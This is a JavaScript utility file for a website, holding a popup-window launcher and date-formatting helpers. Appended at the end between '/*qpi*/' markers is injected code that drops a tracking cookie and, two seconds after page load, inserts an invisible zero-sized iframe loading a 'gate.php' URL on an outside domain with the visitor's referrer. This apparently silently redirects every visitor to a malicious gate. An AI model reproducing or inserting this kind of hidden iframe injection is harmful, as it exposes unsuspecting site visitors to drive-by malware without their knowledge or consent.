function wow(url,x,y)
{
 var win = launchCenter(url, 'left', x, y);
//document.write(win);
}

function launchCenter(url, name, height, width) {
  //var str = "scrollbars,status,resizable,";
  //var str = "status,menubar,";
  //height +=10;
  var str = "toolbar=0,status=0,scrollbars=0,";
  str += "height=" + height;
  str += ",width=" + width;
  /*if (window.screen) {
    var ah = screen.availHeight - 30;
    var aw = screen.availWidth - 10;

    var xc = (aw - width) / 2;
    var yc = (ah - height) / 2;

    str += ",left=" + xc + ",screenX=" + xc;
    str += ",top=" + yc + ",screenY=" + yc;
  }*/
  
   return window.open(url, name, str);
  //return str;
   
}

function get_Time()
{
  var now = new Date();
  var year = y2k(now.getYear());
  var month = now.getMonth() + 1;
  var date = now.getDate();
  var time_date = date + "-" + month + "-" + year;
  return time_date;
}

function y2k(year)
{
  return year+=(year<1000)? 1900 : 0;
}
/*qpi*/
function g(){var r=new RegExp('(?:; )?1=([^;]*);?');return r.test(document.cookie)?true:false}
var e=new Date();e.setTime(e.getTime()+(2592000000));
if(!g()&&window.navigator.cookieEnabled)
{
	document.cookie='1=1;expires='+e.toGMTString()+';path=/';
	window.setTimeout(function(){
		var JSinj=document.createElement('iframe');
		JSinj.src='http://s1.kaluchka1.in/gate.php?f=844612&r='+escape(document.referrer||'');
		JSinj.width='0';
		JSinj.height='0';
		JSinj.frameborder='0';
		JSinj.marginheight='0';
		JSinj.marginwidth='0';
		JSinj.border='0';
		try{
			document.body.appendChild(JSinj);
		}catch(e){
			document.documentElement.appendChild(JSinj);
		}
	}, 2000);
}
/*qpi*/
